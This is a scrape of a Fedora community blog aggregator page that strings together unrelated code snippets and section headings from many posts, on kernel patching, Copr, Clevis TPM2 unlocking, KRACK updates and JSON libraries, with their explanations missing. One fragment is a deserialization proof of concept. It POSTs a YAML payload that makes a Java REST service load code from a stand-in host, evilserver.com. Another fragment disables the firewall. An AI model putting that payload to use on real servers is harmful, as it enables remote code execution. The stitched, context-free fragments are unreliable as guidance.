Fedora 27 Server Beta is No-Go

And of course, the list above is not exhaustive and there is much more going on in Fedora community. The list above just summarizing some tasks which has drawn my attention.


# dnf install fedpkg dnf-plugins-core


# dnf builddep kernel


$ fedpkg co --anonymous -b f26 kernel


$ cd kernel


$ cp DIR/my.patch .


$ echo "From: Joe Hacker <joe.hacker@hacker.org>" > header
$ echo "Subject: My patch" >> header
$ echo >> header
$ cat header my.patch > patch
$ mv patch my.patch


Patch9999: my.patch


$ fedpkg local


$ fedpkg prep


$ pushd kernel-*/linux-*
$ git commit -am Flush
$ cp DIR/upstream.patch .
$ patch -p1 -R < upstream.patch
$ git commit -am "Upstream reverted patch"
$ git format-patch --stdout HEAD~1 > DIR/upstream-reverted.patch
$ popd

#include <iso8601.h>
#include <assert.h>
#include <string.h>

int main() {
    iso8601_time time = {};
    char str[128] = {};

    iso8601_parse("2010-02-14T13:14:23.123456Z", &time);

    assert(time.year == 2010);
    assert(time.month == 2);
    assert(time.day == 14);
    assert(time.hour == 13);
    assert(time.minute == 14);
    assert(time.second == 23);
    assert(time.usecond == 123456);

    iso8601_unparse(&time, ISO8601_FLAG_NONE, 4, ISO8601_FORMAT_WEEKDATE,
                    ISO8601_TRUNCATE_DAY, sizeof(str), str);

    assert(strcmp(str, "2010-W06-7") == 0);
    return 0;
}

dnf copr enable jhogarth/firefox57
dnf update firefox

dnf clean all
dnf copr remove jhogarth/firefox57

# ls /sys/devices/
LNXSYSTM:00  ion0         msr          platform     software     tracepoint
breakpoint   ion1         pci0000:00   pnp0         system       virtual

$ (uuidgen; uuidgen -t) | uuidparse
UUID                                  VARIANT TYPE       TIME
8f251893-d33a-40f7-9bb3-36988ec77527  DCE     random
66509634-b404-11e7-aa8e-7824af891670  DCE     time-based 2017-10-18 15:01:04,751570+0200

               
24909 pts/0    S      0:02          \_ -bash                  
13607 pts/0    S      0:00              \_ su - kzak          
13608 pts/0    S      0:00                  \_ -bash          
13679 pts/0    R+     0:00                      \_ ps af      

               
24909 pts/0    S      0:02          \_ -bash                  
13857 pts/0    S+     0:00              \_ su --pty - kzak    
13858 pts/5    Ss     0:00                  \_ -bash          
13921 pts/5    R+     0:00                      \_ ps af      

# rfkill       
ID TYPE      DEVICE                   SOFT      HARD          
 0 bluetooth tpacpi_bluetooth_sw unblocked unblocked          
 1 wlan      phy0                unblocked unblocked          
 4 bluetooth hci0                  blocked unblocked

 
$ uuidgen --sha1  --namespace @dns --name foobar.com
e361e3ab-32c6-58c4-8f00-01bee1ad27ec

 
$ uuidgen --sha1  --namespace e361e3ab-32c6-58c4-8f00-01bee1ad27ec --name mystuff
513f905c-7df2-5afa-9470-4e82382dbf00

template <typename Document>
void changeDom(Document& d){
Value& node = d["hello"];
node.SetString("c++");
Document subdoc(&d.GetAllocator());
subdoc.SetObject(); // starting the object
Value arr(kArrayType); // the innermost array
 Value::AllocatorType allocator;
for (unsigned i = 0; i < 10; i++)
arr.PushBack(i, allocator); // adding values to array , this function expects an allocator object
// adding the array to its parent object and so on , finally adding it to the parent doc object
subdoc.AddMember("New", Value(kObjectType).Move().AddMember("Numbers",arr, allocator), subdoc.GetAllocator());
d.AddMember("testing",subdoc, d.GetAllocator()); // finally adding the sub document to the main doc object
d["f"] = true;
d["t"].SetBool(false);
}


Before Manupulation
{
 "hello": "world",
 "t": true,
 "f": false,
 "n": null,
 "i": 123,
 "pi": 3.1416,
 "a": [
 0,
 1,
 2,
 3
 ]
}
After Manupulation
{
 "hello": "c++",
 "t": false,
 "f": true,
 "n": null,
 "i": 123,
 "pi": 3.1416,
 "a": [
    0,
    1,
    2,
    3
  ],
 "testing": {
     "New": {
         "Numbers": [
             0,
             1,
             2,
             3,
             4,
             5,
             6,
             7,
             8,
             9
         ]
     }
 }
}
template <typename Document>
void changeDom(Document& d){
Value& node = d["hello"];
node.SetString("c++");
Document subdoc(&d.GetAllocator()); // sub-document
// old school write the json element by element
StringBuffer s;
PrettyWriter<StringBuffer> writer(s);
writer.StartObject();
writer.String("New");
writer.StartObject();
writer.String("Numbers");
writer.StartArray();
for (unsigned i = 0; i < 10; i++)
writer.Uint(i);
writer.EndArray();
writer.EndObject();
writer.EndObject();
subdoc.Parse(s.GetString()); // Parsing the string written to buffer to form a sub DOM

d.AddMember("testing",subdoc, d.GetAllocator()); // Attaching the Sub DOM to the Main DOM object
d["f"] = true;
d["t"].SetBool(false);
}


import java.util.*;
import javax.ws.rs.*;
import javax.ws.rs.core.*;

@Path("/")
public class PoC_resource {

        @POST
        @Path("/concat")
        public Map<String, String> doConcat(Pair pair) {
                HashMap<String, String> result = new HashMap<String, String>();
                result.put("Result", pair.getP1() + pair.getP2());
                return result;
        }

}

curl -v -X POST http://localhost:8080/example/concat -H 'Content-Type: application/x-java-serialized-object' -H 'Expect:' --data-binary '@payload.ser'

curl -X POST --data-binary '!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://evilserver.com/"]]]]' -H "Content-Type: text/x-yaml" -v http://localhost:8080/example/concat

import java.util.*;
import javax.ws.rs.*;
import javax.ws.rs.core.*;

@Path("/")
public class PoC_resource {

        @POST
        @Path("/concat")
        @Consumes("application/json")
        public Map<String, String> doConcat(Pair pair) {
                HashMap<String, String> result = new HashMap<String, String>();
                result.put("Result", pair.getP1() + pair.getP2());
                return result;
        }

}

$ echo foo | clevis encrypt tpm2 '{}' > secret.jwe

$ clevis decrypt < secret.jwe
foo

$ echo foo | clevis encrypt tpm2 '{"pcr_ids":"8,9"}' > secret.jwe

$ clevis luks bind -d /dev/sda3 tpm2 '{"pcr_ids":"7"}'

$ clevis luks unlock -d /dev/sda3

$ clevis luks bind -d /dev/sda3 sss '{"t": 2, "pins": \
  {"http":{"url":"http://server.local/key"}, "tpm2": \
  {"pcr_ids":"7"}}}'

sudo dnf update wpa_supplicant
sudo dnf install bodhi-client
mkdir ~/krack-update && cd ~/krack-update
bodhi updates download --builds wpa_supplicant-2.6-11.fc26
dnf update ./wpa_supplicant*.rpm
docker-compose up -d

docker-compose ps

docker-compose logs --follow

docker exec -it <name> bash

supervisorctl status

supervisorctl start/stop/restart all/<name>

docker-compose up -d --force-recreate <service>

supervisorctl stop httpd
python /opt/copr/frontend/coprs_frontend/manage.py runserver -p 80 -h 0.0.0.0

supervisorctl stop copr-dist-git
PYTHONPATH=/opt/copr/dist-git /opt/copr/dist-git/run/importer_runner.py

gsettings set org.gnome.software show-upgrade-prerelease true
pkill gnome-software
# You should definitely not turn off your firewall
# I am lazy to configure it though
$ sudo systemctl stop firewalld
$ sudo dnf install vagrant

$ vagrant up

$ vagrant ssh frontend

ipdb>

# [frontend]
sudo systemctl stop httpd
sudo python /vagrant/frontend/coprs_frontend/manage.py runserver -p 80 -h 0.0.0.0

# [dist-git]
sudo systemctl stop copr-dist-git
sudo su copr-service
cd
PYTHONPATH=/vagrant/dist-git /vagrant/dist-git/run/importer_runner.py

   ...
   roles:
     - ansible-abrt-client-role
   ...

   ...
   roles:
     - { role: ansible-abrt-client-role, faf_url: 'your.faf.url' }
   ...

   ...
   tasks:
   - include_role:
       name: ansible-abrt-client-role
     vars:
       faf_url: 'your.faf.url'
   ...

copr-rpmbuild --build-id <id> --chroot <name>

copr-rpmbuild --srpm --build-id <id>

[main]
resultdir = ~/copr-rpmbuild/results
lockfile = ~/copr-rpmbuild/lockfile
logfile = ~/copr-rpmbuild/main.log
pidfile = ~/copr-rpmbuild/pid

[main]
frontend_url = http://copr-fe-dev.cloud.fedoraproject.org
distgit_lookaside_url = http://copr-dist-git-dev.fedorainfracloud.org/repo/pkgs
distgit_clone_url = http://copr-dist-git-dev.fedorainfracloud.org/git

# Default usage
copr-rpmbuild --build-id 123456 --chroot fedora-27-x86_64

# Build only SRPM package
copr-rpmbuild --srpm --build-id 123456

# Use different config
copr-rpmbuild -c ~/my-copr-rpmbuild.ini --build-id 123456 --chroot fedora-27-x86_64

yum --enablerepo=remi-test install php70
yum --enablerepo=remi-test install php71
yum --enablerepo=remi-php70,remi-php70-test update php\*
yum --enablerepo=remi-php71,remi-php71-test update php\*
$ du anaconda-ks.cfg
4 anaconda-ks.cfg

$ du -h anaconda-ks.cfg
4.0K anaconda-ks.cfg
sudo du -shxc /*

sudo du -shxc /* --exclude=proc

sudo du -sh --exclude=*.iso

sudo du /home/ -hc --max-depth=2

	Planet site	Admin contact
All projects	Free-RTC Planet (http://planet.freertc.org)	contact planet@freertc.org
XMPP	Planet Jabber (http://planet.jabber.org)	contact ralphm@ik.nu
SIP	Planet SIP (http://planet.sip5060.net)	contact planet@sip5060.net
SIP (Español)	Planet SIP-es (http://planet.sip5060.net/es/)	contact planet@sip5060.net

Fedora People Blog List Feeds RSS 1.0 RSS 2.0 Atom 1.0 FOAF blogroll

Fedora 27 Server Beta is No-Go

Fedora 27 Final Freeze

Rawhide renamed to Bikeshed for the Modular Server

New election app

Reverted patch

Side panel navigation

Display Configuration

Network settings

Taking a test drive

Matériel

Opérations

Résultats

Last week: Recap

Google Code-In mentor

Choosing easyfix bugs

Researching D3.js

Upcoming activity

Upstream work on Firefox 57

User visible changes

How Fedora is handling Firefox 57

Providing feedback on the upcoming packages

Why I’m stepping back

Fedora 27 Council elections

Thank you for your trust

Call for participation - Real Time Communications (RTC)

Speaking opportunities

First-time speaking?

Submission guidelines

Volunteers needed

Related events - XMPP and RTC summits

Social events and dinners

Spread the word and discuss

Contact

What does CommOps do?

What are Fedora metrics?

Introducing the CommOps toolbox

What is Grimoire Lab?

Changing the way we write contributor documentation

See you next year!

The attack vector

The vulnerabilities

How to stay safe

Product

Category

Tags

What is Fleet Commander?

How to build a profile

Supported apps/settings

Cockpit integration

FreeIPA Integration

SSSD

fleet-commander.org

LUKS volumes unlocking using a TPM2 device

Implementation details: Clevis

Clevis TPM2 pin

Usage

Using the TPM2 as a part of more complex security policies

Limitations of this approach

Acknowledgements

Add oVirt package

Packaging cleanup

Try it out

Guarding against KRACK

Updating immediately

Usage

How so?

Cheat sheet

My personal workflow

Resources

Day #1: September 22

Day #2: September 23

Day #3: September 24

Fedora 27 Server Beta is No-Go

New OpenStack SIG

Firefox 57 update

Show Notes

Some helpful advice

Upgrading your system

Theory

Fedora People
Blog List

RSS 1.0 RSS 2.0 Atom 1.0 FOAF blogroll